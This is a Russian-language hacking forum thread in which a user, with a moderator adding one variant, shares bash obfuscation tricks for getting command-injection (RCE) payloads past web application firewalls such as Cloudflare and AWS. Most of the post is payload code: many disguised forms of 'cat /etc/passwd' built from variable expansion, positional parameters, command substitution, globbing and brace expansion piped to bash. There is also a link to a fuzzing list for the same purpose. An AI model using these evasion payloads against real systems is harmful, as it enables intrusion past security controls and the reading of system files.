Маленькое дополнение по RCE waf bypas

Discussion in 'Кухня' started by Baskin-Robbins, 19 Nov 2019.

  1. Baskin-Robbins

    Baskin-Robbins Well-Known Member

    Joined:
    15 Sep 2018
    Messages:
    161
    Likes Received:
    468
    Reputations:
    36
    Вобщем несколько маленьких моментов, о которых не видел чтобы писали. Сразу скажу что особо не тестил,
    повтыкал рандомно в AWS, WTF-WAF, GoDaddy, CloudFlare - где-то ругался, где-то нет. Так что просто к размышлению.

    Сразу прикреплю несколько линков по теме, они встречались уже на форуме, но к теме относятся поэтому повторюсь.
    https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0
    https://medium.com/secjuice/waf-evasion-techniques-718026d693d8
    https://www.secjuice.com/web-application-firewall-waf-evasion/
    https://chybeta.gitbooks.io/waf-bypass/ming-ling-zhu-ru/rao-guo-fang-fa.html

    Момент первый

    Знаем
    Code:
    cat$u /etc$u/passwd$u
    
    Дополнение
    Можем юзать переменную хоть в середине слова, если за ней идет спецсимвол или пробел.
    Code:
    ca$u\t /et$u''c/pass$u""wd
    ca${u}t /et${u}c/pass${u}wd
    

    Момент второй

    Прям в доках написано.
    Code:
    ${foo-bar}xyc
    
    Получаем такие чудеса.
    Code:
    ${asd-c}at ${asd-/e}tc/passwd
    ${asd-u}n${asd-a}m${asd-e}
    ${asd-u}n${asd-a}m${asd-e} ${asd--a}
    

    Момент третий

    Позиционные параметры.

    Встречал такие штуки, но для чего они там так и не понял.
    Code:
    cat${IFS}${9}/etc/passwd
    
    Можно смело лепить так, тут спецсимволы не нужны как в первом случае.
    Code:
    c$2a$2t /e$2t$3c$2/p$2as$7swd
    
    c$*a$2t /e$*t$*c$*/p$*as$*swd
    [email protected][email protected] /[email protected][email protected][email protected]/[email protected][email protected]
    c$!a$!t /e$!t$!c$!/p$!as$!swd
    

    Момент четвертый

    Подстановка команд

    `` и $() нам в помощь.
    Code:
    ca`sss`t /et`asdsd`c/pass`assa`wd
    ca$(sss)t /et$(asdsd)c/pass$(assa)wd
    

    Момент пятый

    Ничего особенного.
    Code:
    cat /e[tdf]c/pa[s]s[w][dertyujhffd]
    /b[ai][adn]/c[ia][rt] /e[tdf]c/pa[s]s[w][dertyujhffd]
    
    В баш есть такое
    Code:
    echo a{aa,bb}
    aaa abb
    
    Но...
    Code:
    c{at,ss}
    cat: css: Нет такого файла или каталога
    
    Возвращает нам наш любимый passwd.
    Code:
    {cat,/etc/passwd}
    
    Проблема: Ъ шеллу абсолютно все равно что я там собираюсь подставлять и байпасить, в sh как есть не выполнить.

    Есть такой вариант
    Code:
    echo {cat,/etc/passwd}|bash
    
    Может у кого есть варианты на этот счет поинтереснее?

    Тут прикрепил свою базу для фазинга по RCE за WAF.
    https://forum.antichat.ru/threads/467599/#post-4346489
     
    #1 Baskin-Robbins, 19 Nov 2019
    Last edited: 1 Dec 2019
  2. b3

    b3 Moderator

    Joined:
    5 Dec 2004
    Messages:
    2,008
    Likes Received:
    845
    Reputations:
    198
    Не смог плюсануть( двиг не позволяет. Это все дефольтные фишки линукс оболочек, еще вот:
    Code:
    cat$IFS/e*/p*d
     
    _________________________
    Baskin-Robbins likes this.